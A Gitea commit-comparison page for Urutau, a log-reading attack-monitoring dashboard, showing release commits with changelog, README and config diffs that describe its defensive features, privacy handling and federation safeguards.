Compare commits

..
6 Commits
Author SHA1 Message Date
Lucas RayanandClaude Opus 5.5 3adaa007ec docs: 1.3.0 pages, error classes, visitors and APIs
Release / Plan (reuse the published image?) (push) Successful in 4s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 12s
Release / Gitea release (push) Successful in 3s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 22:42:38 -03:00
Lucas RayanandClaude Opus 5.5 2ebda1e4d7 feat: 1.3.0 thirteen new pages, charts, tooltips and error analysis
Release / Plan (reuse the published image?) (push) Successful in 3s
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 28s
CI / Dependency audit (push) Successful in 20s
CI / Tests (Linux, race detector) (push) Successful in 1m10s
Release / ci (push) Successful in 1m10s
Release / Build image (arm64) (push) Successful in 55s
Release / Build image (amd64) (push) Successful in 1m16s
Release / Publish tags (push) Successful in 14s
Release / Gitea release (push) Skipped
New pages grouped in the rail (Monitor, Investigate, Analyze, Operate,
Reports): Services (SLO, Apdex, latency app vs proxy), Sessions (stage
funnel), Campaigns, Event search, MITRE ATT&CK matrix, Evolution,
Concentration (Pareto, Gini), Survival (Kaplan-Meier per attack
episode, recidivists), Where errors come from (application vs failed
attack vs proxy vs client), Protocols and TLS, Defense (fail2ban, SSH,
blocklist), Integrity, and a printable executive report.

Chart library (donut, radar, stacked area, bars, heatmap, gauge),
glossary with accessible "?" tooltips, self-explanatory category names
(nonexistent page 404), page loader through pages.json.

Unique visitors fixed: real browsers opening a page, one per IP per day,
deduplicated across domains, with non-human clients counted apart.
Anonymous legitimate visits on the Live page (?visits=1, no IP).
Traefik origin, service, protocol and TLS fields parsed. Paths and
Referer paths drop e-mail and token segments.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 22:39:33 -03:00
Lucas RayanandClaude Opus 5.5 b7462c14fa feat: 1.2.0 attack intelligence, replay, 30-day history and new interface
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 27s
CI / Dependency audit (push) Successful in 18s
CI / Tests (Linux, race detector) (push) Successful in 58s
Release / Plan (reuse the published image?) (push) Successful in 4s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Successful in 5s
Intelligence: attack families mapped to MITRE ATT&CK, network type from
ASN/rDNS without external APIs, request cadence, sessions with
recon/probe/exploit/access/banned stages, campaigns across IPs, verdict
with reasons, recommended actions, exposure detection (2xx with a body
on sensitive paths), STIX 2.1 export, FCrDNS for search engine bots,
optional Tor exit list.

Data: 30-day retention, twelve ranges plus custom from/to, an on-disk
event log (daily files, hourly gzip members, size cap, corruption and
disk-full tolerant), /events, /period, /metrics with stable per-hour
metrics, an extended /ip/{ip}, and peer /period merged on the hub.

Interface: layout system with fixed card sizes, range picker in the
URL, IP analysis page, Replay page, Geography down to state and city
(Natural Earth admin-1), Live page redesigned with stable metrics and a
reusable attack map. Demo data and documentation screenshots.

Security: bounded and deadline-limited period computations, linear
campaign clustering, singleflight caches, sanitized peer studies, event
query budgets, gzip bomb guard.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 21:45:59 -03:00
Lucas RayanandClaude Opus 5.5 8f1ac462d1 fix(live): globe sea and land colors, world map antimeridian rings
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 22s
CI / Tests (Linux, race detector) (push) Successful in 33s
CI / Dependency audit (push) Successful in 13s
Release / Plan (reuse the published image?) (push) Successful in 3s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 14s
Release / Gitea release (push) Successful in 3s
The globe clipped country rings by pushing hidden vertices to the limb
and closing them with chords, so the fill flipped between sea and land
as it turned. Rings are now clipped at the horizon and closed along the
limb in their own orientation; the path parser returns to the subpath
start after z; long edges follow the map projection.

gen-world.mjs unwraps longitudes and clips rings that cross the 180th
meridian (Russia, Fiji) at the map edge instead of leaving them open,
which filled the Sea of Okhotsk as land.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 19:27:57 -03:00
Lucas RayanandClaude Opus 5.5 783b0cba3e fix(fed): sanitize peer rows, cap peer bytes, add --peer-blocklist
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 24s
CI / Tests (Linux, race detector) (push) Successful in 34s
CI / Dependency audit (push) Successful in 14s
Release / Plan (reuse the published image?) (push) Successful in 3s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Successful in 4s
Peer events and summary rows are rebuilt from validated fields (address,
country code, category) and the forged/unban flags from peers are
ignored. The live relay drops a peer that exceeds about 1 MB/s, also
within a single window. --peer-blocklist=off keeps the hub's blocklist
to local observations. UI polish: plural forms, blocklist preview and
downloads follow the active slice, compact IP cards on phones. Docs for
the 1.1.0 interface.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 18:10:54 -03:00
Lucas RayanandClaude Opus 5.5 f4b295f582 feat: 1.1.0 interface, geography drill-down and live attack map
Release / Plan (reuse the published image?) (push) Successful in 4s
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 19s
CI / Tests (Linux, race detector) (push) Successful in 35s
CI / Dependency audit (push) Successful in 16s
Release / ci (push) Successful in 35s
Release / Build image (arm64) (push) Successful in 51s
Release / Build image (amd64) (push) Successful in 1m11s
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Skipped
A new console interface (side rail, seven pages, opening sentence and
active slice on every page, IP drawer, light and dark design tokens);
a Geography page that drills from the world to a country's regions and
cities; a Live page drawing attacks as arcs on a flat map or a globe.

Backend: GET /api/v1/geo, GET /api/v1/live/recent, host/src/dst on live
events, --location, a strict static file pattern, and live federation
through GET /api/v1/peer/stream (peer token only, bounded and sanitized
relay on the hub).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:47:28 -03:00
396 changed files with 32931 additions and 1391 deletions

No files matched your search

+7
View File
@@ -47,3 +47,10 @@ URUTAU_DOMAINS=
URUTAU_MONITOR_FROM=
# Time zone of the host: fail2ban.log timestamps are local time.
TZ=UTC
# Event registry size cap in <data-dir>/events (0 turns it off). Not passed by the
# compose file as is: add it to the `environment` block to change the 512MB default.
URUTAU_EVENTS_MAX=512MB
# Retention, up to 720h (30 days); same note as above.
URUTAU_RETENTION=720h
# File with Tor exit addresses (one per line); same note as above.
URUTAU_TOR_EXITS=
+3
View File
@@ -22,3 +22,6 @@ __pycache__/
/.superpowers
/.superset
/graphify-out
# Runtime pid files left by local test scripts
*.pid
+58 -1
View File
@@ -6,6 +6,63 @@ Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versio
## [Unreleased]
## [1.1.1] - 2026-11-14
### Fixed
- Live page, globe mode: sea and land colors no longer swap while the globe turns. Each country ring is now clipped at the horizon and closed along the edge of the globe, and long edges follow the map projection.
- World map data: countries crossing the 180th meridian (Russia, Fiji) are closed along the map edge, so the Sea of Okhotsk is no longer filled as land on the flat maps.
## [1.3.0] - 2026-11-14
### Added
- **Many more pages**, grouped in the side rail: Monitor (Overview, Live, Services), Investigate (IPs, Sessions, Campaigns, Replay, Event search), Analyze (Threats, MITRE ATT&CK, Geography, Evolution, Concentration, Survival, Traffic, Where errors come from, Protocols and TLS), Operate (Defense, Sources and hosts, Integrity) and Reports. A glossary: a "?" button next to metrics and categories explains what each one means and what to do about it.
- **Service health:** per-service SLO (target 99.5%), error budget, burn rate (1 h and 6 h) and Apdex, from the Traefik router and service names.
- **Error classes:** every error is classified as `app`, `proxy`, `blocked`, `attack`, `bot`, `client` or `unknown`, so a 5xx from your app is told apart from a broken link or a scanner. The Traefik fields `OriginStatus`, `OriginDuration`, `Overhead`, `OriginContentSize`, `RetryAttempts`, `RouterName`, `ServiceName`, `RequestProtocol`, `RequestScheme`, `TLSVersion` and `TLSCipher` are read when present.
- **Episodes and survival:** time to ban and Kaplan-Meier survival curves computed over attack episodes.
- **New routes** (user only, never the peer token): `GET /api/v1/techniques`, `/evolution`, `/concentration`, `/survival`, `/sessions/funnel`, `/campaigns`, `/campaigns/{id}`, `/defense`, `/errors`, `/integrity`, `/report`, `/services`, `/services/{svc}` and `/protocols`.
- **Legitimate visits stream:** `GET /api/v1/events/stream?visits=1` also sends anonymous visit events (no address, User-Agent or referrer; city-level position), at most 20 per second, never written to disk.
- Documentation of the geolocation refresh: Urutau checks every 24 hours (`--geo-update`) while DB-IP publishes once a month.
### Changed
- **Unique visitors were corrected.** A visitor is now a person with a real browser: a successful GET of a document by a browser User-Agent (not a bot, tool or unknown client, not a prefetch), one per IP per day, deduplicated globally. Bots, tools and unknown clients are counted apart as "non-human clients". The number is lower than before, and lower than Coolify's, which counts every distinct IP with HyperLogLog and no filter.
- Paths and `Referer` values that contain an e-mail address or a token are normalized to `:id`.
## [1.2.0] - 2026-11-14
### Added
- **Longer memory and any period:** the default and maximum retention is now 30 days (720h). Twelve ranges (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) and a custom period with `from` and `to` (unix seconds, at most 30 days). An invalid `range` answers 400, and `range` in the responses is now an object `{name,from,to,step,clipped}`; the timeline `step` (granularity) follows the window length.
- **Event registry** in `<data-dir>/events/`: one JSON line per event (the live-stream format), one file per UTC day, older days gzip compressed, bounded by age (the retention) and size (`--events-max` / `URUTAU_EVENTS_MAX`, default 512 MB, `0` turns it off). It keeps malicious events, ban and unban, successful SSH logins, a 404 to an attack tool, and `ok`/`notfound` answers only for addresses already suspicious or hostile; never a legitimate visitor. A full disk, the size cap or the daily line cap drop events (counted, never fatal), and a corrupted line is skipped.
- **Investigation API:** `GET /api/v1/events`, `/api/v1/events/sessions`, `/api/v1/period`, `/api/v1/period/events`, `/api/v1/metrics`, the new summarized `GET /api/v1/ip/{ip}` and `GET /api/v1/ip/{ip}/stix`; and the peer route `GET /api/v1/peer/period`, so the peer token now opens three routes (export, stream and period).
- **Intelligence:** attack families, MITRE ATT&CK techniques, network type (VPN, hosting, mobile, residential, Tor, research scanner; no external API), request cadence (automated, human-like, mixed), sessions with stages (recon, probe, exploit, access, banned), campaigns (several IPs doing the same thing), a verdict with reasons, recommended actions, exposure (a 2xx on a sensitive path), STIX 2.1 export, forward-confirmed reverse DNS for Googlebot and Bingbot, `--tor-exits` / `URUTAU_TOR_EXITS` (a file of Tor exit addresses) and SSH users from `--admin-users` marked as such.
- **Stable metrics** (no per-minute rates) in `/api/v1/metrics`: attacks per hour, trend, active and new attackers, returning rate, sessions per day, exposure rate, refused exploits, time to ban, ban and blocklist coverage and leak, SSH failures, and concentration by IP and ASN.
- **Interface:** a period selector (named ranges and a custom period), the IP analysis page (`#/ip/<ip>`), the Replay page (`#/replay`), Geography down to state and city (`#/geo/BR/Pernambuco/Recife`, state boundaries from Natural Earth, public domain) and a metrics column on the Live page.
### Changed
- The soft memory limit is 256 MiB (worst case measured: about 54 MiB of heap and a snapshot of about 27 MB). In Docker, `mem_limit: 384m` is recommended.
## [1.1.0] - 2026-11-14
### Added
- **New interface:** a side rail with seven pages (Overview, Threats, Geography, Live, Traffic, IPs, Sources and hosts), an opening sentence on every page with the number that matters, the active slice (range, host, domain) always written under the title, an IP detail drawer, and light and dark themes from design tokens.
- **Geography page:** a world map by attacker country; select a country to see its states or regions and cities (cities as circles on the zoomed country), the categories and the top IPs; select a region to narrow cities and IPs. The view lives in the URL (`#/geo/BR/Pernambuco`).
- **Live page:** attacks drawn as animated arcs from their origin to the server that saw them, on a flat map or a 3D globe, with rate, categories, servers, recent origins and the latest events; filters, pause and full screen. It opens by replaying the latest events, so it is never still on a quiet server.
- **API:** `GET /api/v1/geo` (countries, or one country with regions, cities and `top_ips`), `GET /api/v1/live/recent`, and `host`, `src` and `dst` on every live event.
- **Live federation:** the hub keeps `GET /api/v1/peer/stream` open on each peer and relays their live events, bounded and sanitized.
- **`--location` / `URUTAU_LOCATION`:** the position of the instance on the map.
- **`--peer-blocklist` / `URUTAU_PEER_BLOCKLIST`** (`on` by default): `off` keeps the hub's blocklist to local observations.
### Security
- Events and summary rows from peers are rebuilt from validated fields (address, country code, category); `forged` and `unban` flags from peers are ignored.
- The live relay disconnects a peer that sends more than about 1 MB/s, on top of the event rate cap.
- Static files are served from the embedded directory by a strict name pattern.
## [1.0.0] - 2026-11-14
First release.
@@ -22,7 +79,7 @@ First release.
- Federation: `--peer name=https://url` aggregates other instances. A hub only calls `GET /api/v1/peer/export?range=1h|24h|7d` (`{"v":1,"summary":...,"traffic":{...}}`, top 500 IPs with detail, cached 5 s) every 15 s, with a 4 s timeout, an 8 MB limit, no redirects, `https` required outside loopback, and sanitized, capped peer data. `--peer-allow` / `URUTAU_PEER_ALLOW` limits the source CIDRs of the export.
- Offline geolocation (country, city, ASN) from the DB-IP Lite databases (CC BY 4.0), downloaded and refreshed by Urutau (`--geo-dir`, `--geo-update`) and read by a built-in, dependency-free MMDB reader.
- User-Agent parsing into browser, operating system, device, bots and attack tools.
- Privacy-friendly web analytics for legitimate traffic (Traffic tab): unique visitors by a daily-salted hash, pages, referrers, countries, browsers, devices, latency p50 and p95, bytes and a world map. The IP of a legitimate visitor is never persisted. Threats and Traffic are separate tabs.
- Privacy-friendly web analytics for legitimate traffic (Traffic page): unique visitors by a daily-salted hash, pages, referrers, countries, browsers, devices, latency p50 and p95, bytes and a world map. The IP of a legitimate visitor is never persisted. Threats and Traffic are separate pages.
- Reverse DNS enrichment of listed IPs.
- Noise filters: `--trusted` / `URUTAU_TRUSTED` (alias `--ignore`) drops events from trusted CIDRs, and `--monitor-ua` / `URUTAU_MONITOR_UA` keeps benign monitoring requests (such as Uptime-Kuma) out of the traffic numbers.
- `urutau doctor [--json]` to check the configuration, the sources, the data directory, the geolocation databases and the snapshot; the JSON output carries `geo` and `state`.
+58 -1
View File
@@ -6,6 +6,63 @@ Formato baseado no [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/);
## [Unreleased]
## [1.1.1] - 2026-11-14
### Corrigido
- Página Ao vivo, modo globo: as cores do mar e da terra não se trocam mais enquanto o globo gira. Cada contorno de país agora é recortado no horizonte e fechado ao longo da borda do globo, e as arestas longas seguem a projeção do mapa.
- Dados do mapa-múndi: países que cruzam o meridiano 180 (Rússia, Fiji) são fechados ao longo da borda do mapa, então o Mar de Okhotsk não é mais pintado como terra nos mapas planos.
## [1.3.0] - 2026-11-14
### Adicionado
- **Muitas páginas novas**, agrupadas na barra lateral: Monitorar (Visão geral, Ao vivo, Serviços), Investigar (IPs, Sessões, Campanhas, Replay, Busca de eventos), Analisar (Ameaças, MITRE ATT&CK, Geografia, Evolução, Concentração, Sobrevivência, Tráfego, De onde vêm os erros, Protocolos e TLS), Operar (Defesa, Fontes e hosts, Integridade) e Relatórios. Um glossário: um botão "?" ao lado de métricas e categorias explica o que cada uma significa e o que fazer.
- **Saúde dos serviços:** SLO por serviço (meta de 99,5%), orçamento de erro, burn rate (1 h e 6 h) e Apdex, a partir dos nomes de router e service do Traefik.
- **Classes de erro:** todo erro é classificado como `app`, `proxy`, `blocked`, `attack`, `bot`, `client` ou `unknown`, para distinguir um 5xx do seu app de um link quebrado ou de um scanner. Os campos do Traefik `OriginStatus`, `OriginDuration`, `Overhead`, `OriginContentSize`, `RetryAttempts`, `RouterName`, `ServiceName`, `RequestProtocol`, `RequestScheme`, `TLSVersion` e `TLSCipher` são lidos quando presentes.
- **Episódios e sobrevivência:** tempo até o ban e curvas de sobrevivência de Kaplan-Meier calculadas sobre episódios de ataque.
- **Rotas novas** (só usuário, nunca o token de peer): `GET /api/v1/techniques`, `/evolution`, `/concentration`, `/survival`, `/sessions/funnel`, `/campaigns`, `/campaigns/{id}`, `/defense`, `/errors`, `/integrity`, `/report`, `/services`, `/services/{svc}` e `/protocols`.
- **Stream de visitas legítimas:** `GET /api/v1/events/stream?visits=1` também envia eventos anônimos de visita (sem endereço, User-Agent nem referrer; posição no nível da cidade), no máximo 20 por segundo, nunca gravados em disco.
- Documentação da atualização da geolocalização: o Urutau confere a cada 24 horas (`--geo-update`), enquanto a DB-IP publica uma vez por mês.
### Alterado
- **Os visitantes únicos foram corrigidos.** Um visitante agora é uma pessoa com navegador real: um GET bem-sucedido de um documento por um User-Agent de navegador (não bot, ferramenta nem cliente desconhecido, nem prefetch), um por IP por dia, deduplicado globalmente. Bots, ferramentas e clientes desconhecidos são contados à parte como "clientes não humanos". O número é menor que antes, e menor que o do Coolify, que conta todo IP distinto com HyperLogLog e sem filtro.
- Caminhos e valores de `Referer` que contêm e-mail ou token são normalizados para `:id`.
## [1.2.0] - 2026-11-14
### Adicionado
- **Memória maior e qualquer período:** a retenção padrão e máxima agora é 30 dias (720h). Doze intervalos (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) e um período personalizado com `from` e `to` (segundos unix, no máximo 30 dias). Um `range` inválido responde 400, e `range` nas respostas agora é um objeto `{name,from,to,step,clipped}`; o `step` (granularidade) da linha do tempo acompanha o tamanho da janela.
- **Registro de eventos** em `<data-dir>/events/`: uma linha JSON por evento (o formato do stream ao vivo), um arquivo por dia UTC, dias antigos compactados com gzip, limitado por idade (a retenção) e por tamanho (`--events-max` / `URUTAU_EVENTS_MAX`, padrão 512 MB, `0` desliga). Guarda eventos maliciosos, ban e unban, logins SSH bem-sucedidos, um 404 para uma ferramenta de ataque, e respostas `ok`/`notfound` só de endereços já suspeitos ou hostis; nunca um visitante legítimo. Disco cheio, o teto de tamanho ou o teto diário de linhas descartam eventos (contados, nunca fatais), e uma linha corrompida é ignorada.
- **API de investigação:** `GET /api/v1/events`, `/api/v1/events/sessions`, `/api/v1/period`, `/api/v1/period/events`, `/api/v1/metrics`, o novo `GET /api/v1/ip/{ip}` resumido e `GET /api/v1/ip/{ip}/stix`; e a rota de peer `GET /api/v1/peer/period`, então o token de peer agora abre três rotas (export, stream e period).
- **Inteligência:** famílias de ataque, técnicas MITRE ATT&CK, tipo de rede (VPN, hospedagem, móvel, residencial, Tor, scanner de pesquisa; sem API externa), cadência das requisições (automatizada, humana, mista), sessões com estágios (recon, probe, exploit, access, banned), campanhas (vários IPs fazendo a mesma coisa), um veredito com razões, ações recomendadas, exposição (um 2xx em caminho sensível), exportação STIX 2.1, DNS reverso confirmado para Googlebot e Bingbot, `--tor-exits` / `URUTAU_TOR_EXITS` (um arquivo com endereços de saída do Tor) e usuários SSH de `--admin-users` marcados como tal.
- **Métricas estáveis** (sem taxa por minuto) em `/api/v1/metrics`: ataques por hora, tendência, atacantes ativos e novos, taxa de retorno, sessões por dia, taxa de exposição, exploits recusados, tempo até o ban, cobertura e vazamento de ban e blocklist, falhas SSH e concentração por IP e ASN.
- **Interface:** seletor de período (intervalos nomeados e período personalizado), página de análise de IP (`#/ip/<ip>`), página Replay (`#/replay`), Geografia até estado e cidade (`#/geo/BR/Pernambuco/Recife`, limites dos estados do Natural Earth, domínio público) e uma coluna de métricas na página Ao vivo.
### Alterado
- O limite suave de memória é 256 MiB (pior caso medido: cerca de 54 MiB de heap e um snapshot de cerca de 27 MB). No Docker, recomenda-se `mem_limit: 384m`.
## [1.1.0] - 2026-11-14
### Adicionado
- **Interface nova:** trilho lateral com sete páginas (Visão geral, Ameaças, Geografia, Ao vivo, Tráfego, IPs, Fontes e hosts), uma frase de abertura em cada página com o número que importa, o recorte ativo (intervalo, host, domínio) sempre escrito sob o título, painel de detalhe de IP e temas claro e escuro a partir de tokens de design.
- **Página Geografia:** mapa-múndi por país de origem dos ataques; selecione um país para ver estados ou regiões e cidades (cidades como círculos no país ampliado), as categorias e os IPs principais; selecione uma região para filtrar cidades e IPs. A vista fica na URL (`#/geo/BR/Pernambuco`).
- **Página Ao vivo:** ataques desenhados como arcos animados da origem até o servidor que os viu, em mapa plano ou globo 3D, com ritmo, categorias, servidores, origens recentes e os últimos eventos; filtros, pausa e tela cheia. Ela abre reproduzindo os últimos eventos, então nunca fica parada num servidor calmo.
- **API:** `GET /api/v1/geo` (países, ou um país com regiões, cidades e `top_ips`), `GET /api/v1/live/recent`, e `host`, `src` e `dst` em cada evento ao vivo.
- **Federação ao vivo:** o hub mantém `GET /api/v1/peer/stream` aberto em cada peer e repassa os eventos ao vivo deles, com limites e sanitização.
- **`--location` / `URUTAU_LOCATION`:** a posição da instância no mapa.
- **`--peer-blocklist` / `URUTAU_PEER_BLOCKLIST`** (`on` por padrão): `off` restringe a blocklist do hub às observações locais.
### Segurança
- Eventos e linhas de resumo vindos de peers são reconstruídos a partir de campos validados (endereço, código de país, categoria); os sinalizadores `forged` e `unban` vindos de peers são ignorados.
- O repasse ao vivo desconecta um peer que mande mais de cerca de 1 MB/s, além do teto de eventos.
- Os arquivos estáticos são servidos do diretório embutido por um padrão de nome estrito.
## [1.0.0] - 2026-11-14
Primeira versão.
@@ -22,7 +79,7 @@ Primeira versão.
- Federação: `--peer nome=https://url` agrega outras instâncias. Um hub só chama `GET /api/v1/peer/export?range=1h|24h|7d` (`{"v":1,"summary":...,"traffic":{...}}`, 500 IPs principais com detalhe, cache de 5 s) a cada 15 s, com timeout de 4 s, limite de 8 MB, sem redirects, `https` obrigatório fora de loopback e dados do peer sanitizados e limitados. `--peer-allow` / `URUTAU_PEER_ALLOW` limita os CIDRs de origem do export.
- Geolocalização offline (país, cidade, ASN) a partir das bases DB-IP Lite (CC BY 4.0), baixadas e atualizadas pelo Urutau (`--geo-dir`, `--geo-update`) e lidas por um leitor MMDB embutido e sem dependências.
- Interpretação de User-Agent em navegador, sistema operacional, dispositivo, bots e ferramentas de ataque.
- Web analytics amigável à privacidade para o tráfego legítimo (aba Tráfego): visitantes únicos por hash com sal diário, páginas, referrers, países, navegadores, dispositivos, latência p50 e p95, bytes e mapa-múndi. O IP de um visitante legítimo nunca é persistido. Ameaças e Tráfego são abas separadas.
- Web analytics amigável à privacidade para o tráfego legítimo (página Tráfego): visitantes únicos por hash com sal diário, páginas, referrers, países, navegadores, dispositivos, latência p50 e p95, bytes e mapa-múndi. O IP de um visitante legítimo nunca é persistido. Ameaças e Tráfego são páginas separadas.
- Enriquecimento com DNS reverso dos IPs listados.
- Filtros de ruído: `--trusted` / `URUTAU_TRUSTED` (alias `--ignore`) descarta eventos de CIDRs confiáveis, e `--monitor-ua` / `URUTAU_MONITOR_UA` mantém requisições benignas de monitoramento (como o Uptime-Kuma) fora dos números de tráfego.
- `urutau doctor [--json]` para conferir a configuração, as fontes, o diretório de dados, as bases de geolocalização e o snapshot; a saída JSON traz `geo` e `state`.
+33 -8
View File
@@ -8,6 +8,12 @@
---
<p align="center"><img src="docs/img/overview-dark.png" width="900" alt="Urutau overview page: headline sentence, KPI cards, activity by category timeline"><br><sub>The Overview page: hostile IPs, attack rate and activity by category (demo data).</sub></p>
<p align="center"><img src="docs/img/live-globe-dark.png" width="900" alt="Urutau live page on the 3D globe: animated arcs from attacker cities to the servers edge-1 and edge-2"><br><sub>Live: attacks as animated arcs on a 3D globe (demo data, reserved addresses only).</sub></p>
<p align="center"><img src="docs/img/ip-analysis-dark.png" width="900" alt="Urutau IP analysis page: verdict, score, critical exposure and recommended actions for one attacker"><br><sub>IP analysis: verdict, evidence and recommended actions for one address.</sub></p>
**Status: stable, v1.0.0.** See [CHANGELOG.md](CHANGELOG.md) for exactly what shipped.
Urutau is a small panel that runs on each of your servers (as a container), reads the logs the server already writes, and answers one question: who is attacking me right now? It classifies hostile activity, scores every source IP, keeps a rolling window on disk and serves an embedded dashboard, a JSON API and an exportable blocklist.
@@ -17,11 +23,11 @@ Urutau is a small panel that runs on each of your servers (as a container), read
- **Scores IPs:** every event adds weight to its source IP. A score of 10 or more is **suspicious**; **hostile** needs 50 or more **and** a strong signal (an attack tool, two or more attack categories, a ban, or a clear exploit attempt that was refused). Scanner and exploit probes that got a 2xx or 3xx answer weigh only 0.5. An IP with a successful SSH login is never hostile and never reaches the blocklist.
- **Geolocation, offline:** country, city and ASN for every IP from the free DB-IP Lite databases, downloaded and refreshed by Urutau itself, read by a built-in MMDB reader with no dependency. Nothing is looked up online.
- **Understands User-Agents:** browser, operating system, device, bots and attack tools.
- **Web analytics for legitimate traffic:** unique visitors, pages, referrers, countries, browsers, devices, latency (p50 and p95) and bytes, with a world map, replacing your proxy's analytics. Separate **Threats** and **Traffic** tabs.
- **Lightweight:** Go standard library only, one static binary, a soft memory limit of 160 MiB, state in a single snapshot file. No database.
- **Live dashboard:** embedded vanilla UI (English and Portuguese, light and dark), updated through Server-Sent Events.
- **Web analytics for legitimate traffic:** unique visitors, pages, referrers, countries, browsers, devices, latency (p50 and p95) and bytes, with a world map, replacing your proxy's analytics. Separate **Threats** and **Traffic** pages.
- **Lightweight:** Go standard library only, one static binary, a soft memory limit of 256 MiB, state in a single snapshot file. No database.
- **Live dashboard:** embedded vanilla UI (English and Portuguese, light and dark), updated through Server-Sent Events, with nine pages (see below).
- **Blocklist:** hostile, globally routable IPs as plain text or JSON, ready for fail2ban, ipset, nginx or a firewall. IPv6 is aggregated by /64 and exported as `x:x:x:x::/64`.
- **Federation:** one instance (the hub) aggregates others with `--peer name=url`, pulling `/api/v1/peer/export`.
- **Federation:** one instance (the hub) aggregates others with `--peer name=url`, pulling `/api/v1/peer/export` and relaying their live events through `/api/v1/peer/stream`.
## How it works
@@ -39,10 +45,28 @@ Urutau is a small panel that runs on each of your servers (as a container), read
dashboard (SSE) /api/v1/* JSON blocklist.txt / .json
hub ── GET /api/v1/peer/export (peer token) ──► peer A
│ ── GET /api/v1/peer/stream (live events) ──► peer A
│ ── GET /api/v1/peer/export (peer token) ──► peer B
│ ── GET /api/v1/peer/stream (live events) ──► peer B
└──► one dashboard for the whole fleet
```
## Investigation
Beyond live numbers, Urutau remembers and explains. It keeps 30 days of state and an event registry on disk (`<data-dir>/events/`, capped by `--events-max`, 512 MB by default), so you can pick any period (twelve named ranges or a custom `from`/`to`), replay it, and open an IP analysis page with a verdict and its reasons, attack families, MITRE ATT&CK techniques, network type, cadence, sessions, campaigns and recommended actions, with a STIX 2.1 export. The registry holds attackers only: never the address of a legitimate visitor. See [docs/architecture.md](docs/architecture.md).
## Interface
Pages are grouped in a side rail, with the view kept in the URL hash. A "?" button next to metrics and categories explains what they mean and what to do.
- **Monitor:** Overview (headline numbers, timeline, top IPs; a period selector applies everywhere), Live (attacks as animated arcs on a flat map or a 3D globe, including your peers; `--location` sets where this server sits on the map), Services (SLO, error budget and Apdex per service).
- **Investigate:** IPs (the scored table and the IP analysis page, `#/ip/<ip>`), Sessions, Campaigns, Replay (a period played back on the map) and Event search.
- **Analyze:** Threats, MITRE ATT&CK, Geography (country, state, city, `#/geo/BR/Pernambuco/Recife`), Evolution, Concentration, Survival (time to ban), Traffic (privacy-friendly analytics for legitimate visitors), Where errors come from (app, proxy, blocked, attack, bot, client) and Protocols and TLS.
- **Operate:** Defense, Sources and hosts (log sources, peers and the blocklist) and Integrity.
- **Reports.**
See [docs/interface.md](docs/interface.md).
## Install
Run it with Docker Compose (recommended):
@@ -87,7 +111,7 @@ Your own infrastructure produces events too. Two filters keep it out of the pict
- `--trusted` / `URUTAU_TRUSTED`: CIDRs of trusted origins (your office, your monitors, your other servers). Their events are dropped entirely. `--ignore` remains as an alias.
- `--monitor-ua` / `URUTAU_MONITOR_UA`: a regular expression matching monitoring User-Agents (the default includes Uptime-Kuma). A request that matches and is benign is not counted as traffic; it feeds a separate "monitoring" counter. If the same request is a `scanner`, `exploit` or `bruteforce`, it counts as an attack, because a User-Agent is trivial to forge.
- `--monitor-from` / `URUTAU_MONITOR_FROM`: CIDRs the monitors really come from. When set, the monitoring User-Agent is honored only from those networks. Without it, only `ok` answers are filtered (a `notfound` from a monitor User-Agent still counts), since anyone can forge the header.
- `--domains` / `URUTAU_DOMAINS`: an allowlist of domains for the Traffic tab (exact names or `*.example.com`). A domain only gets a slot after a 2xx answer, and inactive domains are pruned, so random `Host` headers cannot fill the analytics.
- `--domains` / `URUTAU_DOMAINS`: an allowlist of domains for the Traffic page (exact names or `*.example.com`). A domain only gets a slot after a 2xx answer, and inactive domains are pruned, so random `Host` headers cannot fill the analytics.
## Geolocation and attribution
@@ -95,7 +119,7 @@ Urutau shows country, city and ASN for every IP using the free **DB-IP Lite** da
> IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).
The attribution is also shown in the dashboard. If you redistribute the databases or anything derived from them, keep it.
The attribution is also shown in the dashboard. The state and city boundaries drawn on the Geography page come from [Natural Earth](https://www.naturalearthdata.com) (public domain). If you redistribute the databases or anything derived from them, keep it.
## Privacy
@@ -161,7 +185,7 @@ See **[CONTRIBUTING.md](CONTRIBUTING.md)** and **[docs/architecture.md](docs/arc
## Known limits
- Only three sources: Traefik JSON access log, sshd lines from `auth.log` (ISO timestamps) and `fail2ban.log`.
- State is kept for 7 days at most (`--retention`), with up to 20,000 tracked IPs.
- State is kept for 30 days at most (`--retention`), with up to 20,000 tracked IPs; the event registry is capped by `--events-max`.
- The dashboard login is a single shared token; there are no user accounts.
- Scores are heuristics, not proof of malicious intent.
@@ -172,8 +196,9 @@ Summary of the [ROADMAP](ROADMAP.md):
| | |
|---|---|
